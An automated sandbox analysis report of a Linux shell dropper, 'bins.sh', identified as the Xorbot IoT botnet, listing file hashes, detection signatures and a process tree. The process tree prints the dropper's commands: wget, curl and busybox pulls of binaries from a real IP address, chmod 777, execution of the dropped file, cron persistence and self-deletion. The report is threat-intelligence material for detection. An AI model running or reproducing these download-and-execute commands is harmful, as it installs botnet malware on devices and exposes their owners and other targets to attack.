Analysis

  • max time kernel
    140s
  • max time network
    159s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03-12-2024 22:29

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    2fb07c471bdf3d544ed7b17a96c49562

  • SHA1

    d0fcc460e8765eb060a8fd97f608691716a20163

  • SHA256

    8fd6fbf664ac74a348aa5d1f7456a71e7806bcced78f8d18d1c6c0c4f2344b4f

  • SHA512

    526f3eed7ddf8c6697664873fe9fb49c382134a1241790ccaa04edbabbd693deb1a3a8dd341f332d2a878d9a060d70087832449d299647aec5291c7b14645c35

  • SSDEEP

    96:Ettf8gEtkD6cp6cx6cL+6G+vfeZK6KXLog5ZMP3ZK6KXLeg5bttf8gySSjKMc6ci:5tkD6S666P+v25G6S666N+S

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2059) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:668
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:671
        • /usr/bin/wget
          wget http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • Writes file to tmp directory
          PID:675
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:690
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • Writes file to tmp directory
          PID:697
        • /bin/chmod
          chmod 777 f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • File and Directory Permissions Modification
          PID:699
        • /tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          ./f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:700
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:702
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:703
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:704
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:705
              • /bin/rm
                rm f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
                2⤵
                  PID:707
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
                  2⤵
                  • System Network Configuration Discovery
                  PID:710

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6

                Filesize

                119KB

                MD5

                1b166b95f9cb4b079ef1b9ec8363ddf3

                SHA1

                0d8eb08add467b3b5474f9b25909297fe7c2839c

                SHA256

                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                SHA512

                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

              • /var/spool/cron/crontabs/tmp.J9716A

                Filesize

                210B

                MD5

                04c19d8e04e3b6c8e1c73d5f13ca4586

                SHA1

                77243e54963d5fd38c80ebedac872e92eb8d5d33

                SHA256

                a49da47598ec8075478d15d07f91acf4416bde75bf5e2255c2aeed50f27e5e2b

                SHA512

                d1317307acf3bca9bffd913441b2a43ae86266a58474dec7e03f95a9ad09cc24c97c398212ccba5c8235d86a48d019cefa886d903760c4e7468bb4f95edb0a55